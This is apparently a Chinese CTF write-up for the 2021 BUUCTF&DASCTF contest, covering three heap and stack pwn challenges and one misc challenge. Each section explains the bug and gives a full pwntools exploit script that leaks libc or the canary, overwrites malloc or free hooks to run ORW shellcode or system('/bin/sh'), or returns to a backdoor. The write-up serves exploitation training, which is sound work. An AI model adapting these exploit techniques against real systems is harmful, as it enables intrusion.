2021_7_BUUCTF&&DASCTF

  1. 1. BUUCTF&&DASCTF
  2. 2. pwn
    1. 2.1. Easyheap
      1. 2.1.1. 题目分析
      2. 2.1.2. 思路
      3. 2.1.3. exp
    2. 2.2. realNoOutput
      1. 2.2.1. 题目分析
      2. 2.2.2. 思路
      3. 2.2.3. exp
    3. 2.3. canary
      1. 2.3.1. 题目分析
      2. 2.3.2. 思路
      3. 2.3.3. exp
  3. 3. misc
    1. 3.1. red_vs_blue
      1. 3.1.1. 思路
      2. 3.1.2. exp

BUUCTF&&DASCTF

BUUCTF&DASCTF_pwn.zip

进行了长达两天的ctf比赛,第一天从上午10点在电脑面前坐到了晚上十一二点,出了两pwn和一个misc,第二天比较人性化就放了一个pwn题目,一个密码pwn,比较恶心,那个密码还不太会,不过给了密码后面乱杀。总之累死👴了,不过还是挺值的。虽然没有拿到前三血,但ak了,发挥超常,还出了一个misc,一共出了4题,战绩不错。第一次有一种意犹未尽的感觉,题目也挺不错的,下面就分享下解题思路。

pwn

Easyheap

题目分析

一个沙盒堆题,常规的菜单题,保护全开,禁用了execve,得用orw来获取flag

2021-7-31/image.png

2021-7-31/image(2021-7-31/image(1).png).png

2021-7-31/image(2021-7-31/image(2).png).png

2021-7-31/image(2021-7-31/image(3).png).png

漏洞分析:strup函数比较特殊,这使得我们之前输入的size与实际申请的size有点不一样,这同时也是我们利用的地方。输入size的大小远超于实际输入的字符串,使得我们edit堆块的时候,写入的范围变大,造成溢出。

思路

  • 通过编辑溢出,造成堆块重叠,达到任意地址读写
  • leak libc基地址,将我们的orw的shellcode注入到rwx段上
  • 然后改malloc hook为shellcode所在地址即rwx段,申请堆块触发shellcode

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64')
binary='./Easyheap'
main_arena = 0x3ebc40
local = 0
if local == 1:
io=process(binary)
else:
io=remote('node4.buuoj.cn',25841)
e=ELF(binary)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget = [0x4f3d5,0x4f432,0x10a41c]
def add(size,content):
io.recvuntil('>> :')
io.sendline('1')
io.recvuntil('Size: ')
#gdb.attach(io,'b *$rebase(0x1035)')
io.sendline(str(size))
io.recvuntil('Content: ')
io.sendline(content)
def edit(index,content):
io.recvuntil('>> :')
io.sendline('4')
io.recvuntil('Index:')
io.sendline(str(index))
io.recvuntil('Content:')
io.send(content)
def show(index):
io.recvuntil('>> :')
io.sendline('3')
io.recvuntil('Index:')
io.sendline(str(index))
def free(index):
io.recvuntil('>> :')
io.sendline('2')
io.recvuntil('Index:')
io.sendline(str(index))
add(0x500,b'a'*0x90)#0 0x31
add(0x500,b'a'*0x90)#1 0x31
add(0x500,b'a'*0x90)#2 0x31
#add(0x500,b'a'*0x20)#3 0x31
for i in range(7):
add(0x90,b'a'*0x90)#padding
free(2)
free(1)
edit(0,b'a'*0x98+p64(0xa1)+b'\x00')
add(0x90,b'a'*0x90)#1
edit(0,b'b'*0x98+p64(0xa1)+p64(0))
add(0x90,b'a'*0x90)#2 == 1
for i in range(7):
free(i+3)
free(1)
show(2)
addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = addr - 0x3ebca0
log.success("libc_base==>" + hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
system=libc_base+libc.sym['system']
log.success("system==>" + hex(system))
for i in range(7):
add(0x90,b'a'*0x90)#1 3-8
add(0x90,b'a'*0x90)#9 2
#edit(0,b'b'*0x98+p64(0x21)+p64(0)*3+p64(0x81))
free(1)
free(3)
free(9)
edit(2,p64(0x23330000))#9 2
add(0x90,0x90*b'a')#1 2
#gdb.attach(io,'b *$rebase(0x1035)')
#gdb.attach(io,'b *$rebase(0x1035)')
pay = shellcraft.open('flag')
pay += shellcraft.read(3,0x23330000+0x40,100)
pay+=shellcraft.write(1,0x23330000+0x40,100)
add(0x90,asm(pay).ljust(0x90,b'a'))#3
free(1)
edit(2,p64(malloc_hook))
#gdb.attach(io,'b *$rebase(0x1035)')
add(0x90,b'a'*0x90)#1
add(0x90,b'a'*0x90)#9
edit(9,p64(0x23330000))
free(1)
add(0x30,b'b')
io.interactive()

2021-7-31/RMTR3LO3Q3_8EMK3NNWR.png

realNoOutput

题目分析

一个典型的菜单堆题

2021-7-31/main.png

2021-7-31/add.png

2021-7-31/dele.png

2021-7-31/show.png

2021-7-31/edit.png

看起来这个程序很完美,一些像offbynull、uaf、溢出漏洞都规避了,似乎没啥子问题,我一开始也想了很多种方法,尝试了一下午,不断地碰壁,本来是打算放弃的,但是当我偶然间查看堆块指针数组的时候发现了一个很奇怪的事

2021-7-31/image(2021-7-31/image(4).png).png

可以看到这里的堆块1指针变为了size(原本是堆块指针的),可以说这里是这个题目的转折点,也是我一直忽略的地方————size数组和堆块指针数组越界了

2021-7-31/bss.png

可以看到数组大小都是8字长的,但是我们的申请的范围是0-9,需要10字长,这会造成我们的指针数组里的数据会被改成size,这个会有什么用呢,因为每次修改、展示、删除堆块的时候都会有两个判断,通过这两个判断会将局部变量buf(栈上的数据)修改成堆块指针,发现就算是清空堆块的时候都不会将栈上的堆块指针清空,所以这里用到了栈的知识。我们每次调用函数结束的时候都会释放函数栈帧,所谓的释放不是清空,而是单纯的不使用这一块栈帧直到下一次调用函数的时候,栈帧里的数据都会一直保持不变。然后要使得局部变量buf上的指针不变则需要回避这个判断

2021-7-31/image(2021-7-31/image(5).png).png

这个就要用到我们的数组越界了,只需要释放chunk,再将释放后的指针位置越界改成size(chunk必须在第0、1的位置),就可以保证该位置不为空,而且不会修改到局部变量buf上的指针,达到UAF的效果,这道题是非预期,后面那道题方法有点类似,也用到栈上的残留的数据

思路

  • 通过上面所讲的栈帧残留可以达到UAF的效果
  • 通过UAF造成堆块重叠,达到任意地址读写
  • 改free hook 为system地址,释放包含’/bin/sh’的堆块,get shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python3
#coding=utf-8
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
binary = './realNoOutput'
main_arena = 0x1ebb80
#main_arena = 0x1beb80
local = 0
if local == 1:
io=process(binary)
else:
io=remote('node4.buuoj.cn',29666)
elf=ELF(binary)
libc = ELF('libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(index,size,content=b'a'):
sleep(0.1)
io.sendline('1')
sleep(0.1)
io.sendline(str(index))
sleep(0.1)
io.sendline(str(size))
sleep(0.1)
io.sendline(content)
def edit(index,content):
sleep(0.1)
io.sendline('3')
sleep(0.1)
io.sendline(str(index))
sleep(0.1)
io.sendline(content)
def show(index):
sleep(0.1)
io.sendline('4')
sleep(0.1)
io.sendline(str(index))
def free(index):
sleep(0.1)
io.sendline('2')
sleep(0.1)
io.sendline(str(index))
add(0,0x88,b'a')#0
add(1,0x88)#1
free(1)
free(0)
add(0,0x88,b'')#0
show(0)
heap_head = u64(io.recv(6).ljust(0x8,b'\x00'))-0x30a
io.success("heap_head==>{}".format(hex(heap_head)))
io.recv()
add(1,0x88)#1
free(0)
free(1)
add(9,0x28)#9
edit(1,p64(heap_head+0x360))
add(2,0x88,p64(0))
add(3,0x88)# 3 == 2
for i in range(5):
add(i+4,0x88)#4-8
#add(4,0x80)
add(0,0x88)
add(1,0x88)
free(0)
free(1)
for i in range(5):
#sleep(1)
free(i+4)#4-8
free(2)
show(3)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - main_arena - 96
io.info("libc_base==>%#x",libc_base)
system = libc.sym["system"] + libc_base
free_hook = libc.sym["__free_hook"] + libc_base
io.info("free_hook==>%#x",free_hook)
for i in range(7):
add(0,0x88)
add(2,0x88)#2 == 3
free(0)
free(2)
edit(3,p64(free_hook))
add(5,0x88,b'/bin/sh\0')
add(0,0x88,p64(system))
free(5)
#gdb.attach(io,'b *$rebase(0x17db)')
io.interactive()

2021-7-31/NY1JR34JOHG1R9A_MP(2.png

canary

题目分析

2021-7-31/image(2021-7-31/image(6).png).png

2021-7-31/image(2021-7-31/image(7).png).png

2021-7-31/image(2021-7-31/image(8).png).png

输入用户名和密码,就是常规的栈题,用到的方法和pwn2的类似,利用上一个栈帧残留的信息来leak地址,因为字符串是以\x00作为截断符的,所以覆盖了就可以leak地址了

思路

  • 通过overflow将栈帧的数据结构进行改写
  • 利用改写后残留的数据信息,可以leak栈上的地址
  • 返回地址改后门函数地址就行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './canary3.bak'
main_arena = 0x1beb80
local = 1
if local == 1:
io=process(binary)
else:
io=remote('node4.buuoj.cn',26723)
elf=ELF(binary)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
'''
puts("Do you know how to leak canary?");
puts("1.leak");
puts("2.overflow");
return puts("3.exit");
'''
def login(admin,pss):
io.recvuntil('please input username: ')
io.sendline(admin)
#gdb.attach(io,'b *$rebase(0x23f5)')
io.recvuntil('please input password: ')
io.sendline(pss)
#io.interactive()
def overflow(content):
io.recvuntil('Do you know how to leak canary?')
io.sendline('2')
io.recvuntil('your input:')
io.sendline(content)
def leak_canary():
io.recvuntil('Do you know how to leak canary?')
io.sendline('1')
io.recvuntil('3.exit\n')
io.recvline()
leak_ = u64(io.recv(7).rjust(8,b'\x00'))
io.success("output ==> {}".format(hex(leak_)))
return leak_
def leak():
io.recvuntil('Do you know how to leak canary?')
io.sendline('1')
io.recvuntil('3.exit\n')
#io.recvline()
leak_ = u64(io.recv(6).ljust(8,b'\x00'))
io.success("output ==> {}".format(hex(leak_)))
return leak_
login('admin\0',b'168'.ljust(0x20,b'\x00'))
pie = leak() - 0x2530
system = pie + 0x239F
overflow(b'a'*0x18)
canary = leak_canary()
overflow(b'a'*0x18+p64(canary)+p64(0)+p64(system))
io.sendline('3')
io.interactive()

2021-7-31/image(2021-7-31/image(9).png).png

misc

red_vs_blue

2021-7-31/image(2021-7-31/image(10).png).png

思路

nc题,挺适合pwn👴的,直接撸代码,一把梭

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
local = 0
if local == 1:
io=process(binary)
else:
io=remote('node4.buuoj.cn',28532)
result = ['r','b']
result_num = 0
anso = []
num = 0
while (1):

io.recvuntil('choose one [r] Red Team,[b] Blue Team:')
if len(anso)>num:
io.sendline(anso[num])
else:
io.sendline(result[result_num])
io.recvline()
io.recvline()
io.recvline()
p = io.recvline()
print(p)
if p==b'Sorry!You are wrong!\n':
num = 0
result_num =result_num^1
#io.recvuntil('Play again? (y/n)')
io.sendline('y')
continue
else:

num+=1
io.success("anso = {}".format(anso))
io.success("num = {}".format(num))
if len(anso)<num:
anso.append(result[result_num])

if len(anso)==66:
io.interactive()
else:
continue

2021-7-31/WIWWVXMYQX965DZAL8.png